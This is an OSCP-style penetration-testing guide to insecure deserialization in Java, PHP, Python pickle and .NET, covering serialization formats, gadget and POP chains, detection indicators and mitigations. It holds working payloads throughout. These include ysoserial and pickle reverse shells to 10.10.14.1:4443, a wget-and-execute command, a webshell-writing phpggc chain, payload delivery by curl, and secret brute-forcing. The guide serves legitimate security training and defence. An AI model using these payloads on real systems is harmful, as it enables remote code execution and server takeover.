Domain 2Web App AttacksCORE

Insecure Deserialization

Deep technical guide to insecure deserialization attacks across Java, PHP, Python, and .NET with gadget chains, ysoserial usage, object injection payloads, and OSCP exploitation scenarios.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Deserialization#Java#PHP#Python Pickle#RCE#OSCP

Insecure Deserialization

OWASP A08:2021 — Software and Data Integrity Failures | Deserialization vulnerabilities consistently rank among the most impactful web application flaws, enabling Remote Code Execution (RCE) with a single crafted payload.


Table of Contents

  1. What Is Deserialization and Why Is It Dangerous?
  2. How Deserialization Works Under the Hood
  3. Java Deserialization Deep Dive
  4. PHP Deserialization Deep Dive
  5. Python Pickle Deserialization
  6. .NET Deserialization
  7. Detection Indicators by Platform
  8. Complete Exploitation Workflows
  9. Creating Custom Gadget Chains
  10. OSCP Relevance and Exam Strategy
  11. Mitigation Strategies

1. What Is Deserialization and Why Is It Dangerous?

Serialization: The Basics

Serialization is the process of converting an in-memory object into a byte stream (or string) so it can be stored, transmitted, or cached. Deserialization is the reverse — reconstructing the object from that stream back into memory.

Common use cases:

  • Session management — storing user state on the server
  • Caching — persisting computed objects to disk or Redis
  • RPC / API communication — passing objects between services
  • Cookie storage — embedding serialized objects in HTTP cookies
  • Message queues — serializing messages for inter-process communication

Why Deserialization Is Inherently Dangerous

Deserialization is dangerous because the deserializer trusts the data stream implicitly. When a deserializer reads a stream, it does not just restore data — it:

  1. Instantiates classes specified in the stream (even classes the developer never intended to deserialize)
  2. Sets object properties to attacker-controlled values
  3. Invokes lifecycle methods (__wakeup(), readObject(), __reduce__()) that can execute arbitrary code
  4. Triggers method chains through carefully crafted object graphs (gadget chains)

The fundamental problem: deserialization is code execution disguised as data loading. If an attacker can control the serialized input, they effectively control what code runs on the server.

The Attack Surface

Entry Point How the Attacker Controls Input Example
HTTP Cookies Modify cookie value in browser or via Burp session=O:4:"User":1:{...}
URL Parameters Append serialized data to query string ?data=rO0ABXNyAA...
POST Body Send raw serialized bytes Content-Type: application/octet-stream
Hidden Form Fields Tamper with hidden inputs <input type="hidden" name="token" value="...">
API Headers Inject into custom headers X-Auth-Token: <base64-payload>
File Uploads Upload crafted serialized files Upload .ser or .pickle files

2. How Deserialization Works Under the Hood

The Deserialization Lifecycle

┌─────────────────────────────────────────────────────────┐
│                   SERIALIZATION                          │
│  Object → Byte Stream (with class metadata + state)     │
└─────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────┐
│                  DESERIALIZATION                         │
│                                                          │
│  Step 1: Read magic number / version header             │
│  Step 2: Read class descriptor (class name, fields)     │
│  Step 3: Instantiate the class (no constructor call!)   │
│  Step 4: Restore field values from stream               │
│  Step 5: Invoke lifecycle hooks (__wakeup, etc.)        │
│  Step 6: Return reconstructed object to caller          │
│                                                          │
│  ⚠️  Steps 3-5 are where exploitation happens           │
└─────────────────────────────────────────────────────────┘

Key Insight: No Constructor Called

In most serialization frameworks, the class constructor is NOT called during deserialization. The object is created via reflection or direct memory allocation, then fields are populated. This means:

  • Validation logic in constructors is bypassed
  • Objects can be placed in invalid states
  • Lifecycle methods (not constructors) become the attack surface

3. Java Deserialization Deep Dive

Java Serialization Format

Java serialized objects begin with a magic number and version:

Hex: AC ED 00 05 ...
     ││  ││  ││ │└─ Version (0x0005)
     ││  ││  └└─── Stream header
     ││  └└─────── (reserved)
     └└─────────── Magic (0xaced)

A serialized Java object contains:

  • Stream header (magic + version)
  • Class descriptors (class name, serialVersionUID, field descriptors)
  • Instance data (field values)
  • Block data (for arrays, nested objects)

The Gadget Chain Concept

A gadget chain is a sequence of method calls across classes in the application’s classpath that, when triggered during deserialization, leads to code execution. The chain works like this:

readObject()
    → calls method A on Class X (gadget 1)
        → calls method B on Class Y (gadget 2)
            → calls method C on Class Z (gadget 3)
                → Runtime.exec("malicious command")  ← RCE!

Each “gadget” is a legitimate class with a method that, when called with the right arguments, triggers the next link in the chain. The attacker crafts a serialized object graph that, when deserialized, activates this chain.

Commons Collections Gadget Chains

Apache Commons Collections is the most exploited library for Java deserialization. It ships with many Java applications and contains transformer classes that can invoke arbitrary methods.

How the Commons Collections Chain Works

AnnotationInvocationHandler.readObject()
    → entrySet().iterator().next()
        → LazyMap.get()
            → InvokerTransformer.transform()
                → Method.invoke()
                    → Runtime.getRuntime().exec("command")

The key class is InvokerTransformer, which takes a method name and arguments, then invokes that method on any object passed to it. By chaining transformers together, an attacker can build arbitrary call sequences.

ysoserial — The Swiss Army Knife

ysoserial is the definitive tool for Java deserialization exploitation. It contains pre-built gadget chains for dozens of common libraries.

Installation

# Clone and build
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

# The JAR is at: target/ysoserial-0.0.6-SNAPSHOT-all.jar

Available Payloads

java -jar ysoserial.jar

Common payloads and their requirements:

Payload Required Library Description
CommonsCollections1 commons-collections 3.1-3.2.1, 4.0-4.0.1 Original CC chain via InvokerTransformer
CommonsCollections2 commons-collections 4.0+ Uses ChainedTransformer
CommonsCollections3 commons-collections + Spring Uses Spring’s InvokerTransformer
CommonsCollections4 commons-collections 3.x/4.x URLClassLoader-based chain
CommonsCollections5 commons-collections 3.x/4.x LazyMap-based, most reliable
CommonsCollections6 commons-collections 3.x/4.x Alternative LazyMap chain
CommonsCollections7 commons-collections 4.x MapDecorator-based chain
Groovy1 Groovy 2.3-2.4 Groovy AST transformation chain
Spring1 Spring Core + Beans Spring AOP-based chain
Spring2 Spring Core only No additional deps needed
Jdk7u21 JDK 7u21+ Pure JDK, no third-party libs
Jdk8u20 JDK 8u20+ Pure JDK alternative
Clojure Clojure 1.8+ Clojure eval-based chain
BeanShell1 BeanShell 2.0b5 BeanShell interpreter chain
C3P0 c3p0 / mchange Connection pool chain
JSON1 Apache Commons + Spring JSON deserialization chain
Myfaces1 Apache MyFaces JSF view state chain
Hibernate1 Hibernate 4.x-5.x Hibernate ORM chain
Wicket1 Apache Wicket 6.x-8.x Wicket session chain

Generating a Payload

# Basic reverse shell payload
java -jar ysoserial.jar CommonsCollections5 \
  "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'" \
  > payload.bin

# Base64-encoded output (for embedding in HTTP requests)
java -jar ysoserial.jar CommonsCollections5 \
  "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'" \
  | base64 > payload.b64

# Write file payload (for SSRF/file read scenarios)
java -jar ysoserial.jar CommonsCollections5 \
  "cat /etc/passwd" \
  > payload.bin

# Download and execute payload
java -jar ysoserial.jar CommonsCollections5 \
  "wget http://10.10.14.1/shell.sh -O /tmp/s.sh && bash /tmp/s.sh" \
  > payload.bin

Sending the Payload

# Raw binary in POST body
curl -X POST http://target.com:8080/api/deserialize \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

# Base64-encoded in a parameter
curl -X POST http://target.com:8080/api/data \
  -d "data=$(cat payload.b64)"

# In a cookie
curl -X GET http://target.com:8080/ \
  -b "session=$(cat payload.b64)"

# Via Burp Suite:
# 1. Send request to Repeater
# 2. Replace the serialized parameter with your payload
# 3. Change encoding if needed (Decoder → Hex/Base64)
# 4. Send and check for response / listener callback

Finding the Right Gadget Chain

On OSCP machines, you need to identify which libraries are available:

# Check deployed JARs
find /opt -name "*.jar" 2>/dev/null
find /usr/share -name "*.jar" 2>/dev/null
ls -la /var/www/app/WEB-INF/lib/

# Check classpath from running process
ps aux | grep java
cat /proc/<PID>/cmdline

# Search for specific libraries
find / -name "commons-collections*.jar" 2>/dev/null
find / -name "spring-core*.jar" 2>/dev/null

# If source code is available, check build files
cat pom.xml | grep -A2 "commons-collections"
cat build.gradle | grep "commons-collections"

XStream Deserialization

XStream is another common Java serialization library that converts objects to/from XML:

<sorted-hash-map>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataBytes>...</dataBytes>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</sorted-hash-map>

XStream is vulnerable when it allows arbitrary class instantiation. The ysoserial tool includes XStream payloads as well.


4. PHP Deserialization Deep Dive

PHP Serialization Format — Byte-by-Byte

PHP’s serialize() produces a highly structured string. Understanding this format is essential for crafting exploits.

O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"is_admin";b:1;}
│ │  │    │  │  │     │  │  │       │  │  │        │
│ │  │    │  │  │     │  │  │       │  │  │        └─ End of object
│ │  │    │  │  │     │  │  │       │  │  └───────── Boolean: 1 (true)
│ │  │    │  │  │     │  │  │       │  └──────────── Property length
│ │  │    │  │  │     │  │  │       └──────────────── Property name
│ │  │    │  │  │     │  │  └──────────────────────── String type
│ │  │    │  │  │     │  └─────────────────────────── Property value length
│ │  │    │  │  │     └────────────────────────────── Property value
│ │  │    │  │  └──────────────────────────────────── String type
│ │  │    │  └─────────────────────────────────────── Number of properties
│ │  │    └────────────────────────────────────────── Class name
│ │  └─────────────────────────────────────────────── Class name length
│ └────────────────────────────────────────────────── Object type marker
└──────────────────────────────────────────────────── Type marker

Type Markers

Marker Type Format Example
O Object O:length:"ClassName":count:{properties} O:4:"User":1:{...}
a Array a:count:{key;value;...} a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
s String s:length:"value" s:5:"admin"
i Integer i:value; i:42;
b Boolean b:0; or b:1; b:1;
d Double d:value; d:3.14;
N Null N; N;
R Reference R:id; R:1;
C User-defined C:length:"ClassName":length:{data} C:4:"User":10:{...}

Visibility Modifiers in Property Names

PHP encodes property visibility in the serialized property name:

Visibility Encoding Example
Public Original name s:4:"name"
Protected \0*\0 + name s:7:"\0*\0name" (hex: 002a00)
Private \0ClassName\0 + name s:11:"\0User\0name" (hex: 005573657200)

In serialized output, null bytes appear as \0. When crafting payloads manually, you must include these null bytes (often as %00 in URL-encoded form).

PHP Magic Methods — The Attack Surface

PHP provides “magic methods” that are automatically invoked at specific lifecycle events. During deserialization, several of these become attack vectors:

Method Trigger Exploitation Potential
__wakeup() Immediately after unserialize() Most common entry point; runs before the object is returned
__destruct() When object is destroyed (end of script / garbage collection) Runs even if the returned object is never used
__toString() When object is used as a string (echo, concatenation, error messages) Triggered by error output, logging, or template rendering
__sleep() Before serialize() (not deserialization) Used to prepare state; less exploitable directly
__call($name, $args) When calling an inaccessible method Triggered if deserialized object’s methods are invoked
__get($name) When reading an inaccessible property Triggered during property access after deserialization
__set($name, $value) When writing to an inaccessible property Triggered during field restoration
__invoke() When object is called as a function Triggered if code calls the object like a function
__isset($name) When isset() is called on inaccessible property Rare but possible in certain code paths

__wakeup() Bypass (CVE-2016-7124)

A critical PHP vulnerability allows bypassing __wakeup() entirely:

The Bug: If the object property count in the serialized string does not match the actual number of properties, __wakeup() is skipped.

# Normal (triggers __wakeup):
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}

# Exploit (skips __wakeup — change count from 2 to 3 or any wrong value):
O:4:"User":3:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}

This is extremely relevant for OSCP because many machines use __wakeup() to sanitize or validate properties. Bypassing it means your malicious property values survive intact.

PHP Object Injection — Complete Workflow

Step 1: Find the Serialization Point

# Check cookies for PHP serialized data
# Look for patterns starting with O:, a:, C:, etc.

# Check URL parameters
curl -v "http://target.com/page?data=O:4%3A%22User%22%3A1%3A%7B...%7D"

# Check POST body in Burp
# Look for form fields containing serialized strings

# Check hidden form fields
# View page source → look for <input type="hidden" value="O:...">

Step 2: Identify Available Classes

# If source code is accessible:
find /var/www -name "*.php" -exec grep -l "class " {} \;
grep -rn "class " /var/www/html/

# Look for magic method definitions
grep -rn "__wakeup\|__destruct\|__toString" /var/www/html/

# Check included/required files
grep -rn "require\|include" /var/www/html/

Step 3: Craft the Exploit

<?php
// Identify the vulnerable class
class PaymentProcessor {
    public $callback = "legitimate_function";
    public $amount = 100;
}

// Craft malicious object
$evil = new PaymentProcessor();
$evil->callback = "system('id')";
$evil->amount = 999999;

// Serialize it
echo serialize($evil);
// Output: O:16:"PaymentProcessor":2:{s:8:"callback";s:11:"system('id')";s:6:"amount";i:999999;}
?>

Step 4: Inject and Execute

# Via cookie
curl -X GET http://target.com/ \
  -b "payload=O%3A16%3A%22PaymentProcessor%22%3A2%3A%7Bs%3A8%3A%22callback%22%3Bs%3A11%3A%22system%28%27id%27%29%22%3Bs%3A6%3A%22amount%22%3Bi%3A999999%3B%7D"

# Via POST parameter
curl -X POST http://target.com/process \
  -d "data=O:16:\"PaymentProcessor\":2:{s:8:\"callback\";s:11:\"system('id')\";s:6:\"amount\";i:999999;}"

POP Chains in PHP

PHP Object Injection (POP) chains work the same concept as Java gadget chains — chaining method calls across classes:

unserialize()
    → __wakeup() on Class A
        → calls $this->process() on Class A
            → Class A extends Class B
                → Class B::process() calls $this->handler($this->target)
                    → handler = "system", target = "cat /etc/passwd"
                        → RCE!

Tools like phpggc automate POP chain generation for known frameworks:

# Generate a Symfony RCE chain
phpggc Symfony/RCE1 "system('id')" --phpbin /usr/bin/php

# Generate a Laravel RCE chain
phpggc Laravel/RCE1 "system('id')"

# Output to file for injection
phpggc Monolog/RCE1 file_put_contents "/tmp/evil.php" "<?php system(\$_GET[0]); ?>" > payload.txt

5. Python Pickle Deserialization

How Pickle Works

Python’s pickle module serializes Python objects to a byte stream. The pickle protocol is a stack-based virtual machine — it executes opcodes during unpickling, which means arbitrary code execution is built into the format.

Pickle Protocol Versions

Version Python Version Format Notes
0 All ASCII-readable Human-readable, legacy
1 All Binary, old Legacy binary format
2 Python 2.3+ Binary Supports new-style classes
3 Python 3.0+ Binary Default for Python 3, not backward-compatible
4 Python 3.4+ Binary Supports >4GB pickles, more efficient
5 Python 3.8+ Binary Adds out-of-band data support

Pickle Opcodes

Opcode Meaning Exploitation Relevance
\x80 Protocol version marker Identifies pickle data
c / GLOBAL Push a global object (module.class) Loads arbitrary modules/classes
S / SHORT_BINUNICODE Push a string Provides arguments
( / MARK Push mark object Starts argument tuple
t / TUPLE Build tuple from stack Creates function arguments
R / REDUCE Call callable with args tuple THE EXECUTION POINT
o / OBJ Build class instance Creates objects
b / BUILD Update instance dict Sets properties
. / STOP End of pickle Marks completion

The __reduce__() Method

The __reduce__() special method tells pickle how to serialize an object. It returns a tuple of (callable, args) that pickle will call during unpickling:

import pickle
import os
import subprocess

class RCE:
    def __reduce__(self):
        # During unpickling, this executes:
        # subprocess.Popen(["bash", "-c", "reverse shell command"])
        return (subprocess.Popen,
                (["bash", "-c",
                  "bash -i >& /dev/tcp/10.10.14.1/4443 0>&1"],))

# Generate the payload
payload = pickle.dumps(RCE())
print(payload.hex())  # Hex representation for injection

Alternative: Using os.system

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'",))

payload = pickle.dumps(Exploit())

Manual Pickle Payload Construction

For protocol 0 (ASCII), you can craft payloads by hand:

(cos
system
(S"bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'"
tR.

Breaking it down:

  • (c — MARK, then GLOBAL: push os module
  • os — module name
  • system — attribute name (resolves to os.system)
  • (S — MARK, then SHORT_BINUNICODE: push the command string
  • t — TUPLE: build tuple from mark (wraps the string as args)
  • R — REDUCE: call os.system(command)
  • . — STOP: end of pickle

Pickle Exploitation Workflow

# Step 1: Generate payload
python3 -c "
import pickle, os
class E:
    def __reduce__(self):
        return (os.system, ('id',))
print(pickle.dumps(E()).hex())
"

# Step 2: Inject via the application's pickle endpoint
# (depends on how the app accepts pickle data)

# Step 3: For file-based pickle injection
python3 -c "
import pickle, os
class E:
    def __reduce__(self):
        return (os.system, ('bash -c \"bash -i >& /dev/tcp/10.10.14.1/4443 0>&1\"',))
with open('/tmp/evil.pickle', 'wb') as f:
    pickle.dump(E(), f)
"

# Step 4: Set up listener
nc -lvnp 4443

Flask signs session cookies using a secret key. If you can obtain the secret key (from source code, error messages, or memory dumps), you can forge session cookies:

# Install flask-unsign
pip install flask-unsign

# Decode existing cookie
flask-unsign --decode --cookie "eyJ1c2VyX2lkIjoxfQ.YLWag.kSv2..."

# Sign a forged cookie
flask-unsign --sign --secret "your-secret-key" --cookie "{'user_id': 1, 'admin': True}"

# Using fcrackzip to brute-force the secret
flask-unsign --unsign --cookie "..." --wordlist /usr/share/wordlists/rockyou.txt

6. .NET Deserialization

BinaryFormatter — The Inherently Insecure Serializer

Microsoft has officially stated that BinaryFormatter should never be used to deserialize untrusted data. It is inherently insecure because it can instantiate any class in the loaded assemblies.

.NET Serialization Header

Hex: 00 00 00 00 01 00 54 02 ...
     └─────────────────────── BinaryFormatter header

ysoserial.net

ysoserial.net is the .NET equivalent of ysoserial:

# Generate a payload
ysoserial.net -g ObjectDataProvider -f BinaryFormatter -c "powershell -enc BASE64COMMAND" -o base64

# Common gadget chains
ysoserial.net -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.net -g PSObject -f BinaryFormatter -c "whoami"
ysoserial.net -g ActivitySurrogateSelector -f LosFormatter -c "calc.exe"

Available Gadget Chains

Gadget Formatters Description
ObjectDataProvider BinaryFormatter, NetDataContractSerializer, DataContractSerializer Most versatile, works in .NET Framework 4.0+
PSObject BinaryFormatter PowerShell object deserialization
WindowsWorkflowFoundation BinaryFormatter WWF-based chain
ActivitySurrogateSelector LosFormatter, ViewState ASP.NET ViewState attacks
AsyncRunner BinaryFormatter Async-based execution

ASP.NET ViewState Attacks

ViewState is a hidden field in ASP.NET pages that stores page state. If the machineKey is weak or known, an attacker can inject serialized objects:

# Check if ViewState is vulnerable
# Look for: __VIEWSTATE parameter with Base64 data
# Check if encryption is disabled (only MAC/validation enabled)

# Generate ViewState payload
ysoserial.net -g ObjectDataProvider -f ViewState -c "powershell -enc ..." \
  --generator <VIEWSTATE_GENERATOR> --validationalg "SHA1" \
  --validationkey "<KEY>"

# Tools for ViewState exploitation
# ViewState Hacker: https://github.com/0x24bin/ViewStateHacker
# DotNetJaggedAlliance: https://github.com/justmao666/DotNetJaggedAlliance

WCF and WSE Attacks

Windows Communication Foundation (WCF) and Web Services Enhancements (WSE) use XML-based serialization that can be exploited:

<!-- WSE 3.0 XmlSerializer exploit -->
<soap:Envelope>
  <soap:Body>
    <Execute>
      <command>calc.exe</command>
    </Execute>
  </soap:Body>
</soap:Envelope>

7. Detection Indicators by Platform

Quick Detection Checklist

Platform What to Look For Tools / Commands
Java Base64 strings starting with rO0AB (hex: aced0005) Burp decoder, xxd payload | head
Java Parameters named data, object, payload, cmd, response Burp scanner, manual review
Java Exception: InvalidClassException, ClassNotFoundException Error messages in responses
PHP Strings starting with O:, a:, C:, s: Cookie inspection, parameter review
PHP Parameters named token, data, view, profile Burp repeater, cookie editor
PHP Exception: unserialize(): Error at offset Error messages
Python Bytes starting with \x80\x02 or \x80\x03 Hex inspection of cookies/params
Python Flask session cookies (3 Base64 segments with .) flask-unsign --decode
Python Parameters named pickle, data, session Manual review
.NET __VIEWSTATE field with long Base64 value Page source inspection
.NET __EVENTVALIDATION parameter Page source inspection
.NET Exception: SerializationException, TypeLoadException Error messages
General Base64-encoded data in cookies/params that decodes to binary Burp → Decoder → Base64 Decode
General Custom headers with serialized data Burp → request headers review

Automated Detection

# Burp Suite: Add deserialization patterns to Scanner options
# Project Options → Scanner → Audit → Insertion Attacks
# Add: "Java Deserialization", "PHP Object Injection"

# Nuclei templates
nuclei -u http://target.com -t templates/deserialization/

# Custom grep for serialized data in Burp history
# Search for: rO0AB, O:, \x80\x02, __VIEWSTATE

Behavioral Indicators

Indicator Description
Application crashes on malformed input Deserializer throws exception on bad data
Different errors for different payload types ClassNotFound vs InvalidClass = Java deserialization
Base64 data that changes with user actions Session/object state being serialized
Response contains serialized data Server returns serialized objects
Cookie grows/shrinks with state changes Serialized session data in cookies

8. Complete Exploitation Workflows

┌──────────────────────────────────────────────────────┐
│  STEP 1: RECON                                       │
│  • Identify Java application (JSESSIONID cookie)     │
│  • Find Base64-encoded data in cookies/params        │
│  • Decode: starts with rO0AB → Java serialization    │
└──────────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────┐
│  STEP 2: ENUMERATE LIBRARIES                         │
│  • Check /WEB-INF/lib/ via path traversal            │
│  • Look for commons-collections, spring, groovy      │
│  • Check error messages for class names              │
└──────────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────┐
│  STEP 3: GENERATE PAYLOAD                            │
│  java -jar ysoserial.jar CommonsCollections5         │
│    "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443    │
│    0>&1'" | base64 > payload.b64                     │
└──────────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────┐
│  STEP 4: SET UP LISTENER                             │
│  nc -lvnp 4443                                       │
└──────────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────┐
│  STEP 5: DELIVER PAYLOAD                             │
│  • Replace cookie value with payload via Burp        │
│  • Or inject into POST parameter                     │
│  • Send request and wait for callback                │
└──────────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────┐
│  STEP 6: ESCALATE                                    │
│  • Upgrade shell: python3 -c 'import pty;           │
│    pty.spawn("/bin/bash")'                           │
│  • Stabilize: stty raw -echo; export TERM=xterm     │
│  • Enumerate and pivot                               │
└──────────────────────────────────────────────────────┘
# Step 1: Find serialized cookie
# Cookie: data=O:4:"User":1:{s:4:"role";s:4:"user";}

# Step 2: Identify the class and magic methods
# Source code shows:
# class User {
#   public $role = "user";
#   function __destruct() {
#     system($this->role);
#   }
# }

# Step 3: Craft malicious serialized object
# O:4:"User":1:{s:4:"role";s:19:"id; cat /etc/passwd";}

# Step 4: URL-encode and inject
curl -X GET http://target.com/ \
  -b "data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A27%3A%22id%3B+cat+%2Fetc%2Fpasswd%22%3B%7D"

# Step 5: For reverse shell
# O:4:"User":1:{s:4:"role";s:51:"bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'";}

Workflow 3: Python Pickle via Flask Session

# Step 1: Decode existing Flask session cookie
flask-unsign --decode --cookie "eyJhZG1pbiI6ZmFsc2V9...."

# Step 2: If secret key is known, forge admin session
flask-unsign --sign --secret "super-secret-key" \
  --cookie "{'admin': True, 'user': 'administrator'}"

# Step 3: For RCE via pickle endpoint
python3 -c "
import pickle, subprocess, base64

class RCE:
    def __reduce__(self):
        return (subprocess.check_output,
                (['id',],))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
"

# Step 4: Inject the base64-encoded pickle payload
curl -X POST http://target.com/api/process \
  -H "Content-Type: application/json" \
  -d '{"data": "gASV..."}'

9. Creating Custom Gadget Chains

Understanding Gadget Chain Anatomy

A gadget chain connects the deserialization entry point to code execution through a series of legitimate method calls:

Entry Point          Gadget 1           Gadget 2           Exit Point
───────────        ──────────         ──────────         ──────────
readObject()  →  hashCode()     →  transform()    →  Runtime.exec()
  │                │                  │                    │
  │            (Triggers on       (Invoker-           (Code execution)
  │             HashSet lookup)   Transformer)
  │
  └─ Deserialization
     entry point

Steps to Build a Custom Chain

  1. Identify the Entry Point — What method is called during deserialization? (readObject(), __wakeup(), __reduce__())

  2. Find Gadget Classes — Search the classpath for classes with useful methods:

    • Classes that call methods on other objects
    • Classes with invoke, transform, execute, process methods
    • Classes that extend or implement interfaces with callable methods
  3. Connect the Chain — Find classes where:

    • The output of one gadget becomes the input of the next
    • Method signatures are compatible
    • The chain can be triggered by the deserialization lifecycle
  4. Reach the Exit Point — The final gadget should call:

    • Runtime.exec() / ProcessBuilder (Java)
    • system() / exec() / passthru() (PHP)
    • os.system() / subprocess.Popen() (Python)
    • Process.Start() (C#)
  5. Craft the Serialized Object — Build the object graph that, when deserialized, activates the chain.

Tools for Chain Discovery

Tool Language Purpose
ysoserial Java Pre-built chains + chain generation
phpggc PHP Framework-specific POP chains
ysoserial.net .NET .NET gadget chains
pickletools Python Disassemble pickle payloads
FeroXRenderer Java Visualize gadget chains
Scout-Jar Java Find gadget chains in JARs

10. OSCP Relevance and Exam Strategy

How Often Does It Appear?

Deserialization is not the most common vulnerability on OSCP exams, but when it appears, it is typically a high-impact, game-changing finding that leads directly to RCE. You should expect to encounter it on:

  • Java-based web applications (Spring Boot, Tomcat, JBoss)
  • PHP applications with custom session handling
  • Python Flask/Django apps with pickle-based sessions
  • Legacy .NET applications with ViewState enabled

When to Suspect Deserialization

Signal What It Means
Base64 data in cookies that decodes to binary Likely serialized object
PHP serialized strings in cookies/params (O:, a:) PHP object injection target
Java exception: InvalidClassException Java deserialization endpoint
Flask session cookie (3 dot-separated Base64 segments) Flask session forgery possible
__VIEWSTATE in ASP.NET pages .NET deserialization target
Application accepts file uploads with .pickle, .ser, .dat extensions File-based deserialization
API endpoint named /deserialize, /unserialize, /load Obvious deserialization endpoint
Error message mentions unserialize(), readObject(), pickle Confirmed deserialization

OSCP Exam Approach

  1. During initial recon, note any serialized data in cookies and parameters
  2. During web app testing, try modifying serialized data (change values, add properties)
  3. If you find source code, search for deserialization functions immediately
  4. Have ysoserial.jar ready on your Kali machine for Java targets
  5. Practice PHP object injection — it’s the most common deserialization type on OSCP
  6. Don’t overlook Flask session cookies — the secret key is often in source code

Common OSCP Deserialization Scenarios

Scenario Target Typical Path
PHP cookie injection PHP app with unserialize() in cookie handler Modify cookie → RCE via __destruct()
Java parameter injection Spring Boot app with deserialized POST body ysoserial payload → reverse shell
Flask session forgery Flask app with exposed secret key Forge admin cookie → access admin panel
PHP POST parameter API endpoint deserializing request body Craft serialized object → file read / RCE
Java JMX/RMI Exposed JMX port ysoserial via JMX connection

Quick Reference: OSCP Deserialization Cheat Sheet

# Java — Generate and send payload
java -jar /opt/ysoserial/ysoserial.jar CommonsCollections5 \
  "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'" > /tmp/payload.bin

curl -X POST http://target:8080/api/data \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/payload.bin

# PHP — Manual object injection
# 1. Find class in source code
# 2. Craft serialized string
# 3. Inject via cookie or parameter

# Python — Flask session forgery
flask-unsign --sign --secret "FOUND_SECRET_KEY" \
  --cookie "{'admin': True}"

# Python — Pickle RCE
python3 -c "
import pickle, os, base64
class E:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(E())).decode())
"

11. Mitigation Strategies

Language-Specific Mitigations

Language Mitigation Implementation
Java Use ObjectInputFilter (Java 9+) ObjectInputFilter.Config.createFilter("java.util.*;deny-all")
Java Replace with safe formats Use JSON (Jackson/Gson) instead of Java serialization
Java Upgrade vulnerable libraries commons-collections ≥ 3.2.2, ≥ 4.1
PHP Never unserialize() user input Use json_decode() instead
PHP Implement __wakeup() validation Validate all properties after deserialization
PHP Use ignore_user_abort() carefully Prevent time-based attacks
Python Never pickle.loads() untrusted data Use json.loads() instead
Python Use pickletools.dis() for auditing Inspect pickle streams for dangerous opcodes
Python Flask: rotate secret key regularly Set SECRET_KEY to a strong random value
.NET Never use BinaryFormatter on untrusted data Use System.Text.Json or Newtonsoft.Json
.NET Enable ViewState encryption <pages viewStateEncryptionMode="Always">
.NET Use strong machineKey Generate cryptographically random keys

General Best Practices

  1. Avoid binary deserialization entirely — Use JSON, XML (with schema validation), or Protocol Buffers
  2. If deserialization is unavoidable, implement strict type whitelisting
  3. Add integrity checks — Sign serialized data with HMAC before transmission
  4. Monitor for deserialization attacks — Alert on ClassNotFoundException, unserialize() errors
  5. Keep libraries updated — Many gadget chains are patched in newer versions
  6. Apply the principle of least privilege — Even if RCE is achieved, limit the damage

WAF Rules for Detection

# ModSecurity rules for deserialization detection
SecRule REQUEST_COOKIES|REQUEST_BODY|REQUEST_HEADERS \
  "@rx (?:rO0AB|O:\d+:"|\\x80\\x0[2345])" \
  "id:10001,phase:2,deny,status:403,msg:'Deserialization Attack Detected'"

SecRule REQUEST_COOKIES|REQUEST_BODY \
  "@rx __VIEWSTATE.*[A-Za-z0-9+/]{500,}" \
  "id:10002,phase:2,deny,status:403,msg:'Suspicious ViewState'"

Summary

Insecure deserialization is one of the most powerful web application vulnerabilities because it bridges the gap between data manipulation and code execution. The key to exploiting it is understanding:

  1. The serialization format of the target language (Java binary, PHP string, Python pickle, .NET BinaryFormatter)
  2. The available classes in the target’s classpath (gadget chains depend on what libraries are present)
  3. The entry point — where the application deserializes user-controlled data
  4. The right tool — ysoserial for Java, phpggc for PHP, manual crafting for Python pickle

On the OSCP exam, deserialization is a high-reward target. When you spot the indicators (Base64-encoded binary data, PHP serialization markers, Flask session cookies), prioritize this attack path — a successful exploitation typically grants immediate RCE and can be the difference between passing and failing a machine.


Last updated: 2026-09-01 | Part of OSCP Study Guide — Chapter 06: Common Web Attacks